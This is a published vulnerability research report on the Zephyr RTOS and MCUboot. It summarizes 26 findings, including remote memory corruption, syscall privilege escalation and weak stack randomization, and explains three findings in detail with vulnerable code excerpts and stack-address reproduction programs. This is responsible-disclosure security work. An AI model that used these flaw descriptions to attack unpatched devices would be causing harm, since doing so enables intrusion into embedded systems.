Zephyr and MCUboot Security Analysis

NCC Group Research Report

May 23, 2020 – Version 1.0

Prepared by
Ilya Zhuravlev
Jeremy Boone

Introduction

Over the years, NCC Group has audited countless embedded devices for our customers. Through these security assessments, we have observed that IoT devices are typically built using a hodgepodge of chipset vendor board support packages (BSP), bootloaders, SDKs, and an established Real Time Operating System (RTOS) such as Mbed or FreeRTOS. However, we have recently begun to field questions from our customers who seek our opinion regarding whether the Zephyr RTOS[1] and MCUboot bootloader[2] are suitable for their needs.

NCC Group decided to undertake an independent research effort in order to analyze the security posture of Zephyr and MCUboot. The results of our analysis, including discovered vulnerabilities, are contained in this research report.

Background

Zephyr is an RTOS for microcontrollers and is specifically designed for applications in IoT—the types of resource-constrained embedded devices where Linux is simply "too big". The Zephyr project is sponsored by the Linux Foundation[3] and recently has been receiving a lot of coverage[4] at industry events. Furthermore, although Zephyr is governed by a vendor-neutral steering committee,[5] it benefits from the strong support of numerous silicon vendors such as Intel, NXP, Nordic Semiconductor, and Texas Instruments, who are adding Zephyr support[6] for their development kits in an attempt to lure IoT vendors and OEMs to their hardware platforms.

The Zephyr RTOS appears to be a mature open source project that offers support for long term stable (LTS) releases—a key feature that is desired by many of our customers. Zephyr is also extremely fast moving[7,8] with a 3-month release cycle and approximately 2000 commits per release. It also supports a wide variety of chipset architectures and popular development kits,[9] including broad support for the ARM Cortex-M platform and some support for select x86, ARC, XTENSA, and RISC-V platforms. The Eclipse IoT Developer Survey 2019[10] shows that Zephyr currently has approximately 3% of the RTOS market share for IoT, which is a considerable achievement given the relatively young age of Zephyr.

MCUboot is an open source hardware-independent bootloader. It is seen as a companion project to Zephyr, as many of Zephyr's supported platforms are also supported by MCUboot. The project's stated goal is to define a common system flash layout and to provide a secure bootloader that enables easy software upgrades.

Zephyr and MCUboot both appear to be gaining momentum and benefit from broad industry support. We believe that the fragmentation of the embedded OS market may begin to converge as IoT vendors seek flexibility to migrate from one microcontroller to another without requiring a significant software rewrite. Zephyr and MCUboot both appear to offer that level of flexibility.

[1] The Zephyr Project
[2] The MCUboot project
[3] The Linux Foundation Announces Project to Build Real-Time Operating System for Internet of Things Devices
[4] Zephyr Project technical talks video playlist
[5] Zephyr Project 300 Contributors Announcement
[6] The Nordic Semiconductor Connect SDK uses Zephyr
[7] Zephyr is the most active project according to the FLOSS Foundation dashboard
[8] Zephyr OS: Towards Functionally Safe Open Source RTOS (slides 8, 27, 28)
[9] Zephyr Project Documentation - Supported Boards
[10] A blog post analyzing the results of the Eclipse IoT Developer Survey 2019

Motivation

A common pitfall with hardware-independent operating systems and bootloaders is related to what we at NCC Group sometimes refer to as “lowest common denominator” threat modeling.

When threat modeling, it is essential to define the list of critical assets and their required security properties such as confidentiality, integrity, availability, authenticity, privacy, safety, or anti-replay. However, hardware support is needed in order to make strong guarantees around these security requirements. For example, the hardware must support marking regions of flash as immutable so that the bootloader can be write-protected. This act of protecting the bootloader forms the hardware-based root of trust, and prevents a compromised application or physical attacker from tampering with the bootloader. Similarly, other regions of flash memory must be read-protected[11] to ensure that secret keys cannot be easily extracted. Additionally, the product must contain some notion of secure boot wherein the bootloader will cryptographically verify the application image. Without these sorts of hardware-backed guarantees, it becomes impossible to build a secure operating system that is capable of upholding the requirements outlined in the threat model.

Ultimately, these hardware-*specific* design considerations tend to be difficult to solve in a hardware-*independent* way. Therefore embedded operating systems will sometimes attempt to maximize their portability by leaving the heavy lifting to the device OEM, who is expected implement the hardware security support themselves, often requiring special steps during manufacturing. This can be further exacerbated if the OS and bootloader do not carefully describe these gaps in their threat model documentation, or do not provide an easy path towards solving these hardware-specific problems.

Finally, embedded operating systems sometimes assume a threat model that is incongruent with the risk profile of their device OEM customers. For example, IoT devices may be portable (or wearable[12]) or may be deployed in remote unmonitored locations such as agricultural crop sensors.[13] These scenarios require that the threat model includes the possibility that an adversary may have physical access to the device in the event that it is lost or stolen. NCC Group believes that Zephyr and MCUboot (as with any other RTOS or bootloader), must define a threat model that makes strict security guarantees that is able to satisfy a variety of customer risk profiles and attack scenarios.

The Zephyr Project has published an example threat model for an IoT sensor device.[14] Although it appears to be sufficient for a simplistic IoT product, it fails to account for the wide variety of products and configurations in which the Zephyr RTOS could be deployed. This single hypothetical IoT device does not represent the many permutations of possible attack surfaces, threat actors, or assets that are present in real-world IoT device deployments. On the other hand, the threat model and secure design goals for user mode threads[15] appear to be very well documented.

The objective of NCC Group’s independent security research project was to inspect Zephyr’s overall security posture, and to acquire a deeper understanding of the RTOS so that we are able to provide better guidance to our customers. NCC Group also briefly reviewed MCUboot, to determine whether its secure boot mechanism was robust. The remainder of this report describes the scope of performed work and the results of the research.

[11] NCC Group paper “*Microcontroller Readback Protection: Bypasses and Mitigations*”
[12] A Zephyr-based hearing aid by Oticon
[13] NCC Group paper “*Cyber Security in UK Agriculture*”
[14] Zephyr Project Documentation - Sensor Device Threat Model
[15] Zephyr Project Documentation - User Mode - Threat Model

Synopsis

In the early months of 2020, NCC Group undertook a research project whose purpose was to evaluate the overall security posture of the Zephyr RTOS and the MCUboot bootloader in order to determine whether their security claims were accurate, and whether the two projects expose any significant threat modeling gaps that could pose a risk for a typical IoT device.

The research efforts utilized a Freedom Kinetis K64[16] development board, mainly for the purpose of developing proof-of-concept exploits. Additionally, Zephyr's native POSIX[17] functionality was leveraged in order to enable NCC Group to run Zephyr on a host OS so that it could be more easily fuzzed using Honggfuzz[18] and Address Sanitizer.[19]

Throughout the research project, NCC Group reviewed Zephyr at Git revision b413223a66 (v2.1.0), and MCUboot at revision 7fea846 (v1.3.1).

Research Priorities

Our research efforts covered various aspects of Zephyr and MCUboot and occurred in three distinct phases, which are outlined in the following subsections.

Phase 1: Robustness of the Secure Boot Implementation

The boot chain of an embedded system is the mechanism that is responsible for bringing the device out of reset and verifying the integrity of all software and data. On more powerful systems-on-chip, the root of trust will be anchored in an immutable boot ROM and a set of one-time-programmable fuses that contain the cryptographic public key used to verify the integrity of the second stage bootloader and application firmware.

However, on many low power microcontrollers, such as those targeted by Zephyr and MCUboot, the hardware uses a different type of trust anchor. The MCUboot solution does not use a fused cryptographic key to verify the Zephyr firmware. Instead, the MCUboot image, which executes from internal memory-mapped flash memory, is write protected[20] in order to prevent tampering after initial provisioning. The immutable bootloader contains a hardcoded public key that is used to verify the firmware image. This mechanism for write protecting the bootloader tends to be chipset-specific, and the implementation of which varies significantly between chip vendors. As such, NCC Group's research operated under the assumption that MCUboot was immutable.

Most of the boot-time firmware integrity verification tasks are performed by MCUboot. However, Zephyr does have some responsibility when it comes to handling firmware upgrades that are performed at runtime. For example, Zephyr contains a USB DFU kernel driver, which enables Zephyr to interact with MCUboot when writing a new firmware image into the correct boot slot in flash. Other aspects of chip configuration necessary for secure boot assurance, such as disabling JTAG or SWD (to prevent runtime debugging) and enabling flash read protection (to prevent extraction of secret data), are outside the responsibility of MCUboot or Zephyr, and must be performed by the device OEM during manufacturing.

During this first phase of research, NCC Group investigated the following secure boot functionality:

- Boot-time firmware validity tests
- Install-time firmware validity tests
- Over-the-air firmware update (UpdateHub[21])
- Local firmware update (USB DFU and UART)
- Firmware encryption
- Bootloader UART and USB CDC-ACM serial consoles

16 Freedom K64 Development Board
17 Zephyr Project Documentation - Native POSIX Execution
18 honggfuzz - An evolutionary feedback-driven fuzzer
19 Address Sanitizer
20 MCUboot Security (Part 1)
21 Zephyr Project Documentation - UpdateHub sample

Phase 2: Kernel Mode Execution Protection

Zephyr firmware images are statically linked, single address-space binaries. User space support was added to Zephyr in v1.10,[22] resulting in application threads that execute in user mode, separate from the kernel executing in supervisor mode. This required that Zephyr add MPU support (or MMU support if available on the SoC), as well as support for system calls, so that the user applications could be isolated from the kernel, but still be able to invoke kernel functionality.

The introduction of user space support was an excellent step forward for Zephyr's security posture. However, the Zephyr kernel must take explicit steps to protect the new syscall interface by carefully validating potentially malformed inputs from a compromised user application. This new attack surface must uphold the requirements of memory safety in order to prevent an adversary from escalating across the syscall layer and achieving code execution in supervisor mode.

NCC Group focused on reviewing the robustness of the syscall interface, as well as other kernel security features related to execution protection, user space memory isolation, and various exploit mitigations. Overall, the areas of focus are listed below:

- Review the overall design of the user space privilege separation mechanism
- System call input validation
- Mechanisms to share kernel objects with user space
- Memory separation methods that restrict a thread's access to different regions of memory
- Effectiveness of exploit mitigations such as address space randomization and stack canaries

Phase 3: Kernel Driver Review

Beyond the syscall interface described above, the attack surface of the Zephyr kernel also includes a variety of other interfaces exposed by the individual kernel drivers. Some drivers are used to communicate with untrusted external peripherals or sensors that may have questionable security postures or software pedigree. Other drivers expose a network-facing attack surface, and therefore pose a higher risk because any vulnerabilities in these drivers would be remotely exploitable. And finally, some drivers present an attack surface that is exposed to adversaries that may have physical access to the device and can interface with external serial communication buses, such as USB. All of these kernel drivers run in supervisor mode and must carefully validate the received data payloads in order to uphold the requirement of memory safety.

During this final phase of our research, NCC Group focused our code review efforts on the following drivers:

- Filesystems – `fatfs`, `littlefs`, `nffs`
- USB driver and mass storage support
- The Zephyr command shell (runs in supervisor mode)
- Various network protocols implemented within the kernel, such as IPv4/6, DNS, MQTT, CoAP, LwM2M, WebSockets and HTTP

Limitations

The self-imposed time-boxed nature of this research project necessitated prioritized testing, and therefore, resulted in incomplete coverage. NCC Group instead focused on the highest risk aspects of the overall security posture of Zephyr and MCUboot. These high priority elements are outlined in the three phases mentioned above.

All other kernel drivers and peripheral subsystems were not reviewed. NCC Group believes that there is certainly opportunity to dive even deeper within the Zephyr codebase.

[22] Zephyr Project Documentation - 1.10.0 Release Notes

Key Findings

In total, our research uncovered 25 vulnerabilities affecting the Zephyr RTOS and 1 vulnerability affecting MCUboot. These findings include both locally and remotely exploitable memory corruption vulnerabilities, multiple paths that allow a compromised user application to escalate privilege to kernel mode, as well as multiple weaknesses in the design of certain exploit mitigation systems that exist within the kernel.

1. Remote Attack Vectors

NCC Group discovered a remote memory corruption issue in the Zephyr IPv4 stack (NCC-ZEP-027), which could be triggered upon receipt of a single malformed ICMP packet. The MQTT parser also contained a remotely exploitable memory corruption vulnerability (NCC-ZEP-031) resulting from improperly validated length fields extracted from the MQTT packet header.

The IPv6 stack was found to contain a denial of service vulnerability (NCC-ZEP-029), wherein a remote attacker could force the kernel to endlessly spin in a loop after receiving a series of malformed packets. Another remote denial of service was found in the CoAP protocol driver (NCC-ZEP-032).

2. Local Attack Vectors

A variety of locally exploitable vulnerabilities were discovered. These types of flaws could be exploited by an adversary with physical access to the device and is able to interface with exposed communication interfaces such as USB or the Zephyr shell. Note technologies such as WebUSB[23] and others[24] potentially make such vulnerabilities remotely accessible.

In the USB subsystem, multiple issues were found that could be triggered by a malicious host that a Zephyr device may connect to. For example, the USB DFU driver contained a high risk memory corruption flaw (NCC-ZEP-002), and the USB mass storage driver contained multiple memory corruption and memory exfiltration vulnerabilities (NCC-ZEP-024, NCC-ZEP-025, NCC-ZEP-026). Furthermore, an oversight in the USB DFU design enables an attacker to expose the plaintext firmware image in the microcontroller's internal flash memory (NCC-ZEP-003), effectively bypassing the firmware encryption feature in MCUboot. Finally, the Zephyr shell subsystem was also found to be vulnerable to memory corruption (NCC-ZEP-019).

3. System Call Interfaces

When the user space option[25] is enabled in Zephyr's build configuration, the user application must interact with the kernel through a system call interface. The goal in this design is primarily to isolate untrusted user threads[26] from the higher privilege Zephyr kernel. It is paramount that the various syscall handlers perform effective and thorough input validation. NCC Group discovered multiple instances where this was not the case.

On both the ARM and ARC platforms, syscall number validation was performed using signed integer comparison (NCC-ZEP-001). A malicious user mode application could pass a negative syscall number to bypass the sanity check, resulting in an out-of-bounds access within the system call table. This allows a malicious user application to coerce the kernel to dereference and execute a controlled function pointer anywhere in memory. Additionally, an integer overflow in a helper function that validates addresses passed from user space allows a compromised application to read and write arbitrary kernel memory (NCC-ZEP-005). These two vulnerabilities affect all syscalls, and demonstrate that the kernel/user isolation is not robust on a system-wide scale.

In addition, multiple system calls did not perform sufficient argument validation, resulting in both kernel memory corruption and memory exfiltration. For example, certain syscalls accept arguments in the form of raw pointers to complex objects, and some of these objects contain a callback function pointer. Due to missing input checks for these objects, it was possible to coerce the kernel into dereferencing and executing an attacker-controlled function pointer (NCC-ZEP-006), allowing a malicious application to escalate privilege to kernel mode. Another syscall was found to lack

[23] https://wicg.github.io/webusb/#security-and-privacy
[24] USB Attacks Need Physical Access Right? Not Any More
[25] Zephyr Project Documentation - CONFIG_USERSPACE
[26] Zephyr Project Documentation - User Mode - Threat Model

input validation, allowing a compromised user space application to reveal the contents of restricted kernel memory (NCC-ZEP-004).

4. Kernel Hardening

Kernel hardening is a broad topic, but in general, it can be said that these countermeasures and mitigations are necessary to limit the impact of memory safety violations and reduce the likelihood that a single memory corruption vulnerability can result in a complete compromise. Zephyr implements a number of common exploit mitigations such as stack base address randomization,[27] MPU-enabled stack guard regions,[28] stack canaries,[29] stack sentinels,[30] and data execution protection.[31] Some of these mitigations were found to contain flaws.

Stack canaries were found to be shared between the user and kernel threads (NCC-ZEP-012), which undermines the usefulness of stack canaries when the attacker attempts to pivot towards the kernel after first compromising the user space application.

Although Zephyr does not implement full address space layout randomization (ASLR), it does attempt to implement a more limited form of stack base randomization. On resource-constrained microcontrollers, there exists a necessary security trade-off when it comes to ASLR support, as these systems do not have an MMU and therefore do not have a concept of virtual memory. In order to accomplish memory randomization, Zephyr will shift the user thread stack base within a small reserved memory window, effectively shrinking the maximum possible stack size.

Regardless of these obvious and unavoidable physical limitations that prevent a modern ASLR implementation, some weaknesses and opportunities for improvement were discovered by NCC Group. For example, the current design of the user thread stack base randomization is extremely weak (NCC-ZEP-009)—the default setting will randomize the base address in a `100`-byte memory window, but within this window, only 5 possible stack base addresses can be used, and the selection of these addresses is not evenly distributed.[32] An attacker can brute-force the correct base address with 99% certainty after only `10` guesses. Additionally, the main thread's stack base is never randomized (NCC-ZEP-008). Ultimately these weaknesses serve to lower the bar and increase the likelihood of a successful exploit.

[27] Zephyr Project Documentation - CONFIG_STACK_POINTER_RANDOM
[28] Zephyr Project Documentation - CONFIG_MPU_STACK_GUARD and CONFIG_HW_STACK_PROTECTION
[29] Zephyr Project Documentation - CONFIG_CANARIES
[30] Zephyr Project Documentation - CONFIG_STACK_SENTINEL
[31] Zephyr Project Documentation - CONFIG_EXECUTE_XOR_WRITE
[32] This observation was made on the K64 demo board. NCC Group recognizes that the randomization would vary between architectures that posses different alignment requirements.

Conclusion

At the date of publication of this research paper, 15 issues have been fixed out of the total 26 issues that were reported. The remaining unpatched findings pose a low overall risk as they represent denial of service vulnerabilities, or opportunities to further harden the kernel by improving existing exploit mitigation systems. The Zephyr team has indicated to NCC Group that these lower risk issues are not subject to the 90 day embargo policy, and that they plan to address the issues in a future release.

Through the course of our research, NCC Group did not discover any significant vulnerabilities in MCUboot that could undermine the secure boot implementation. For example, the common classes of vulnerabilities exhibited by bootloaders and secure boot implementations often fall into the categories of time-of-check-time-of-use (when accessing images in external flash), memory safety (when parsing image metadata), incomplete signing (wherein the image is signed but the metadata is not), rollback protection, and so on. No such vulnerabilities were found during the brief MCUboot audit. Of course, it is still critically necessary that the OEM has properly configured the hardware by write protecting the MCUboot image and disabling all microcontroller debug functionality.

Due to Zephyr's use of a monolithic-kernel design, the most delicate parts of the attack surface reside within the kernel and run in supervisor mode. This means that the code which executes at the highest level of privilege is also responsible for parsing all untrusted external inputs. This ultimately increases the impact and associated risk of memory safety violations. The security posture of a system should never be forced to rely solely on memory safety, which is why other kernel hardening measures such as exploit mitigations and attack surface reduction are so vital. Due to the resource-constrained environments that Zephyr targets, many exploit mitigations cannot be implemented to the desired level of strength.

Unfortunately, this means that it becomes necessary to detect memory safety vulnerabilities throughout the development process. We suggest that this can be accomplished through increasing the use of automated static and dynamic analysis, supplemented by regular manual code audits. Along these lines, NCC Group notes that after disclosing our research findings, the Zephyr team has performed some variation hunting, and have fixed other syscall handlers that lack input validation (PR25432, PR25303, PR23796, PR23479, PR23408). Additionally, a recent pull request (PR23974) attempts to clarify the need for syscall argument verification to avoid race conditions in the syscall handlers. We applaud this pro-active approach and encourage the continuation of these security research and hardening efforts.

Dashboard

Target Metadata

Name	Zephyr RTOS and MCUboot
Type	Real Time Operating System and Bootloader
Platforms	Freedom Kinetis K64F Board

Engagement Data

Type	RTOS and Bootloader Security Assessment
Method	Code-assisted (C)
Dates	2020-01-20 to 2020-05-26
Consultants	2
Level of Effort	30 person-days

Finding Breakdown

Critical issues	2
High issues	2
Medium issues	9
Low issues	9
Informational issues	4
Total issues	**26**

Category Breakdown

Configuration	5
Cryptography	1
Data Exposure	2
Data Validation	17
Denial of Service	1

Component Breakdown

MCUboot	1
Zephyr - Kernel	4
Zephyr - Network	6
Zephyr - Shell	2
Zephyr - Syscall Handlers	5
Zephyr - USB	5
Zephyr - UpdateHub	3

Key

Critical High Medium Low Informational

Table of Findings

For each finding, NCC Group uses a composite risk score that takes into account the severity of the risk, application's exposure and user population, technical difficulty of exploitation, and other factors. For an explanation of NCC Group's risk rating and finding categorization, see Appendix A on page 76.

MCUboot

Title	Status	ID	Risk
MCUboot's `boot_serial_start` Might Access an Uninitialized Variable	Fixed	007	Low

Zephyr - Kernel

Title	Status	ID	Risk
Main Thread Stack Base Is Not Randomized When `CONFIG_STACK_POINTER_RANDOM` Is Enabled	Not Fixed	008	Low
Weak Thread Stack Base Randomization	Not Fixed	009	Low
Stack Canaries Are Shared Between User and Kernel	Not Fixed	012	Low
User Threads Can Read and Execute Kernel Flash Memory	Not Fixed	013	Low

Zephyr - Network

Title	Status	ID	Risk
Stack Buffer Overflow in `net_ipv4_parse_hdr_options`	Fixed	027	Critical
Unsafe Parsing of MQTT Header Results in Memory Corruption	Fixed	031	Critical
Remote Denial of Service in IPv6 Router Advertisement Prefix Handling	Not Fixed	029	Medium
Remote Denial of Service in CoAP Option Parsing Due to Integer Overflow	Fixed	032	Medium
Integer Underflow in `icmpv4_update_*` Functions Results in Stack Buffer Out-of-Bounds Read	Not Fixed	028	Informational
Remote Denial of Service in LwM2M `do_write_op_tlv`	Not Fixed	033	Informational

Zephyr - Shell

Title	Status	ID	Risk
Buffer Overflow Vulnerability in `shell_spaces_trim`	Fixed	019	Medium
Shell Thread Runs in Supervisor Mode With `USERSPACE` Enabled	Not Fixed	020	Informational

Zephyr - Syscall Handlers

Title	Status	ID	Risk
ARM and ARC Platforms Use Signed Integer Comparison When Validating Syscall Numbers	Fixed	001	Medium

Title	Status	ID	Risk
Integer Overflow in `is_in_region` Allows User Thread to Access Kernel Memory	Fixed	005	Medium
Multiple Syscalls in GPIO and kscan Subsystems Perform No Argument Validation	Fixed	006	Medium
Socket Submodule's `z_vrfy_zsock_sendmsg` Performs No Argument Verification	Not Fixed	004	Low
Unused System Calls Are Present in the Syscall Table	Not Fixed	010	Informational

Zephyr - USB

Title	Status	ID	Risk
USB DFU Mode Can Overflow a Global Buffer in the `DFU_UPLOAD` Command	Fixed	002	High
Arbitrary Read and Limited Write in the USB Mass Storage Driver	Fixed	024	High
Out-Of-Bounds Write in the USB Mass Storage `memoryWrite` Handler With Unaligned Sizes	Fixed	025	Medium
Integer Underflow in USB Mass Storage Driver Write and Verify Handlers	Fixed	026	Medium
USB DFU Mode Allows Reading out the Primary Slot Bypassing Image Encryption	Not Fixed	003	Low

Zephyr - UpdateHub

Title	Status	ID	Risk
UpdateHub Module Copies a Variable-Size Hash String Into a Fixed-Size Array	Fixed	016	Medium
UpdateHub Module Explicitly Disables TLS Verification	Fixed	018	Low
UpdateHub Might Dereference an Uninitialized Pointer	Partially Fixed	030	Low

Finding	**MCUboot's `boot_serial_start` Might Access an Uninitialized Variable**
Risk	**Low** Impact: Medium, Exploitability: Low
Identifier	NCC-ZEP-007
Status	Fixed
Category	Data Validation
Component	MCUboot
Location	`bootloader/mcuboot/boot/boot_serial/src/boot_serial.c:618` @ `7fea846`
Impact	A malformed serial command sent to the device by an attacker with physical access may trigger memory corruption in MCUboot. This could result in a denial of service in the best case, or code execution in the worst case.

Description

MCUboot has a configuration option, `CONFIG_MCUBOOT_SERIAL`, that when enabled implements Simple Management Protocol (SMP) over UART.[33] The input is read and processed in the `boot_serial_start` function. This function contains several issues that can cause it to use an uninitialized variable, resulting in memory corruption.

The parser operates by reading bytes received over the UART or USB CDC ACM interface, looking for a magic sequence—`SHELL_NLIP_PKT_START1`, `SHELL_NLIP_PKT_START2` or `SHELL_NLIP_DATA_START1`, `SHELL_NLIP_DATA_START2`—then decoding the Base64-encoded data and calling the proper command handler. The `boot_serial_start` function is reproduced below.

```
void
boot_serial_start(const struct boot_uart_funcs *f)
{
  int rc;
  int off;
  int dec_off;
  int full_line;
  int max_input;

  boot_uf = f;
  max_input = sizeof(in_buf);

  off = 0;
  while (1) {
    rc = f->read(in_buf + off, sizeof(in_buf) - off, &full_line);
    if (rc <= 0 && !full_line) {
      continue;
    }
    off += rc;
    if (!full_line) {
      if (off == max_input) {
        /*
         * Full line, no newline yet. Reset the input buffer.
         */
        off = 0;
```

[33] SMP over console

```
      }
      continue;
    }
    if (in_buf[0] == SHELL_NLIP_PKT_START1 &&
        in_buf[1] == SHELL_NLIP_PKT_START2) {
      dec_off = 0;
      rc = boot_serial_in_dec(&in_buf[2], off - 2, dec_buf, &dec_off, max_input);
    } else if (in_buf[0] == SHELL_NLIP_DATA_START1 &&
               in_buf[1] == SHELL_NLIP_DATA_START2) {
      rc = boot_serial_in_dec(&in_buf[2], off - 2, dec_buf, &dec_off, max_input);
    }

    /* serve errors: out of decode memory, or bad encoding */
    if (rc == 1) {
      boot_serial_input(&dec_buf[2], dec_off - 2);
    }
    off = 0;
  }
}
```

Note how `dec_off` is only initialized when a command starting with the magic sequence `SHELL_NLIP_PKT_START1`, `SHELL_NLIP_PKT_START2` is received. However, there are two code paths where `dec_off` might get used without being initialized first:

1. If the first bytes of an incoming command do not match the either magic sequence, neither of the conditions will be entered. Then, `rc` will remain the result of `f->read`. If that value was 1, `boot_serial_input` will be called with `dec_off` not having been initialized. Note however that it is not possible to force `f->read` to return 1 in the current implementation, as the minimum valid input (due to `boot_uart_fifo_callback` flushing on a newline character[34] and `console_read` adding 1 to the length total[35]) is `"\n\0"`, which is considered to be 2 bytes in length.
2. If the first command received starts with the magic sequence `SHELL_NLIP_DATA_START1`, `SHELL_NLIP_DATA_START2`, then `dec_off` will not get initialized to `0`. Next, when `boot_serial_in_dec` is called, `dec_off` is passed in uninitialized, resulting in memory corruption when the Base64 payload is decoded.

Specifically, in `boot_serial_in_dec` the following code is present:

```
static int
boot_serial_in_dec(char *in, int inlen, char *out, int *out_off, int maxout)
{
    int rc;
    uint16_t crc;
    uint16_t len;

    int err;
    err = base64_decode( &out[*out_off], maxout - *out_off, &rc, in, inlen - 2);
    /* ... */
```

Above, the `out_off` argument points to the uninitialized value of `dec_off`. It is used to

[34] `bootloader/mcuboot/boot/zephyr/serial_adapter.c:151-153` @ `7fea846`
[35] `bootloader/mcuboot/boot/zephyr/serial_adapter.c:94` @ `7fea846`

calculate the output pointer for the base64_decode function (&out[*out_off]) as well as the size of the output buffer (maxout - *out_off). If out_of is uninitialized and happens to be very large or very small (e.g. a large positive or a negative value), it could result in the 1st argument to base64_decode pointing wildly into memory, or an integer underflow or overflow in the 2nd argument. Then, when base64_decode writes decoded bytes into the output buffer, memory corruption will occur.

Achieving direct control over the value of the uninitialized dec_off variable might be challenging because boot_serial_start is the first point at which MCUboot starts accepting external input. Nevertheless, if, due to the platform and compiler differences, or data remnance from a previous boot, the uninitialized value happens to be slightly greater than BOOT_SERIAL_INPUT_MAX + 1 (513), then this issue might be exploitable. The exact value would need to be small enough to avoid dereferencing an invalid memory address and resulting in a crash. Viable exploitable targets of the base64_decode write would be within the globals area, and be dependent on the exact layout of the vital data structures there.

Recommendation Initializing dec_off to zero at the start of the function would ensure that at no point is it greater than the size of the output array, preventing possible memory corruption from happening.

Finding **Main Thread Stack Base Is Not Randomized When `CONFIG_STACK_POINTER_RANDOM` Is Enabled**

Risk **Low** Impact: Low, Exploitability: Low

Identifier NCC-ZEP-008

Status Not Fixed

Category Configuration

Component Zephyr - Kernel

Location `zephyr/kernel/init.c` @ `be0f5fe0b0`

Impact The lack of main thread stack base randomization could make it easier to exploit certain classes of vulnerabilities that rely on an adversary having knowledge of memory layout and addresses.

Description The `CONFIG_STACK_POINTER_RANDOM` option is documented to randomize stack base addresses of Zephyr threads. This option, however, does not affect the main thread, which always gets a fixed stack base.

There are two configuration scenarios that result in the main thread stack base not being randomized:

`CONFIG_MULTITHREADING` is Enabled

The function `prepare_multithreading` in `init.c` will call `z_setup_new_thread` to create the main thread. Next, `z_setup_new_thread` attempts to randomize the stack base through shrinking the total stack size by a random value, done with `adjust_stack_size`.[36]

However, when `init.c` later calls `switch_to_main_thread`, the calculated randomized stack size value ends up not being used and instead `K_THREAD_STACK_SIZEOF(z_main_stack)`, the total size of the stack, is passed in.[37]

`CONFIG_MULTITHREADING` is Disabled

Zephyr's `init.c` executes `bg_thread_main` directly without going through `z_setup_new_thread`,[38] so it does not have an opportunity to randomize the stack base.

Reproduction Steps Compile and execute the following sample ARM Zephyr application:

```
#include <zephyr.h>
#include <sys/printk.h>

struct k_thread user_thread;
K_THREAD_STACK_DEFINE(user_stack, 4096);

static void* get_sp(void) {
    void* sp;
    __asm__ volatile("mov %0, sp" : "=r"(sp));
    return sp;
}
```

[36] `zephyr/kernel/thread.c:420` @ `be0f5fe0b0`
[37] `zephyr/kernel/init.c:413` @ `be0f5fe0b0`
[38] `zephyr/kernel/init.c:536` @ `be0f5fe0b0`

```c
static void user1(void *p1, void *p2, void *p3) {
    printk("user1 stack: %p\n", get_sp());
}

static void user2(void *p1, void *p2, void *p3) {
    printk("user2 (main) stack: %p\n", get_sp());
}

void main(void) {
    printk("kernel (main) stack: %p\n", get_sp());
    k_thread_create(&user_thread, user_stack,
                K_THREAD_STACK_SIZEOF(user_stack),
                user1, NULL, NULL, NULL,
                -1, K_USER, K_FOREVER);
    k_thread_start(&user_thread);
    k_thread_user_mode_enter(user2, NULL, NULL, NULL);
}
```

with the following options enabled:

```
CONFIG_USERSPACE=y
CONFIG_MULTITHREADING=y
CONFIG_STACK_POINTER_RANDOM=100
CONFIG_ENTROPY_GENERATOR=y
```

Observe how stack pointers of the two user threads are changed between different runs, but the main kernel thread's stack pointer stays the same:

```
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel (main) stack: 0x200015f8
user1 stack: 0x20001238
user2 (main) stack: 0x20001618
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel (main) stack: 0x200015f8
user1 stack: 0x20001218
user2 (main) stack: 0x200015d8
*** Booting Zephyr OS build zephyr-v2.1.0-1597-gbe0f5fe0b0be  ***
kernel (main) stack: 0x200015f8
user1 stack: 0x200011f8
user2 (main) stack: 0x200015f8
```

Recommendation It is not clear from the documentation whether this behavior is correct by design. The documentation states[39]:

> *This option performs a limited form of Address Space Layout Randomization by offsetting some random value to a thread's initial stack pointer upon creation.*

However, the main thread is not explicitly created by user code. Either the documentation should be altered to clearly state this limitation, or (preferably) the main thread's stack base should be properly randomized as is done with the secondary threads.

[39] Zephyr Project Documentation - CONFIG_STACK_POINTER_RANDOM

Finding Weak Thread Stack Base Randomization

Risk Low Impact: Low, Exploitability: Low

Identifier NCC-ZEP-009

Status Not Fixed

Category Configuration

Component Zephyr - Kernel

Location STACK_POINTER_RANDOM – Zephyr Project Documentation

Impact A weak stack base randomization enables an attacker to easily bruteforce the stack base address. Ultimately, this means that exploits that rely on knowledge of stack addresses are easier to exploit.

Description The `CONFIG_STACK_POINTER_RANDOM` option performs a limited form of ASLR by shrinking the total size of the stack that results in randomization of the stack base address. Zephyr provides an example hardened configuration,[40] which suggests using `100` as the value. This is also described in the documentation for the option as follows:

> *A reasonable minimum value would be around 100 bytes if this can be spared.*

In practice, however, using the suggested randomization value results in very weak randomization with only 5 different possibilities for the stack base observed on a Freedom K64F board. This makes it trivial for an adversary to repeat an exploitation attempt several times until it works.

Reproduction Steps Compile and execute the following sample ARM Zephyr application:

```c
#include <zephyr.h>
#include <sys/printk.h>
#include <logging/log_core.h>

static void user(void *p1, void *p2, void *p3) {
    void *sp;
    __asm__ volatile("mov %0, sp\n" : "=r"(sp));
    printk("SP: %p\n", sp);
}

void main(void) {
    k_thread_user_mode_enter(user, NULL, NULL, NULL);
}
```

with the following configuration options:

```
CONFIG_USERSPACE=y
CONFIG_MULTITHREADING=y
CONFIG_STACK_POINTER_RANDOM=100
CONFIG_ENTROPY_GENERATOR=y
```

After manually executing the program 150 times, the following distribution of stack addresses was observed:

[40] zephyr/scripts/kconfig/hardened.csv:11

```
     5 SP: 0x20000538
    47 SP: 0x20000558
    58 SP: 0x20000578
    38 SP: 0x20000598
     2 SP: 0x200005b8
```

Not only is the randomization weak with only 5 unique addresses observed, but the observed addresses are not evenly distributed. An adversary who picks `0x20000578` as the stack address would have an approximately 38% chance to succeed on the first attempt and a 99% chance of succeeding after `10` attempts.

Recommendation Changes should be made to the stack base address calculation to ensure that it is evenly distributed.

Additionally, NCC Group recognizes that Zephyr mainly supports microcontrollers that tend not to contain a memory management unit. Therefore, a trade-off has to be made between the memory wasted by stack randomization and the amount of entropy that the randomization provides. It is therefore suggested that the documentation should be altered to include several examples of different values for the `CONFIG_STACK_POINTER_RANDOM` build option, as well as the resulting stack base entropy and the expected time it would take to bypass the mitigation using bruteforce techniques.

Finding	**Stack Canaries Are Shared Between User and Kernel**
Risk	**Low** Impact: Low, Exploitability: Low
Identifier	NCC-ZEP-012
Status	Not Fixed
Category	Data Exposure
Component	Zephyr - Kernel
Location	`zephyr/kernel/compiler_stack_protect.c:49-53` @ `be0f5fe0b0`
